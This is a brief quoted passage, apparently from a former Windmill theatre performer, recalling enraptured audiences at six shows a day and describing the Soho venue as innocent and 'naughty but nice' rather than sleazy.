“They just sat in awe, chins on the ground and a glazed look in their eye. We used to do six shows a day and some men would sit there all day and all night. 

“It wasn’t a sleazy place. We were rooted in a much nicer time. We were naughty but nice. The Windmill was an oasis of innocence at Soho’s heart.”

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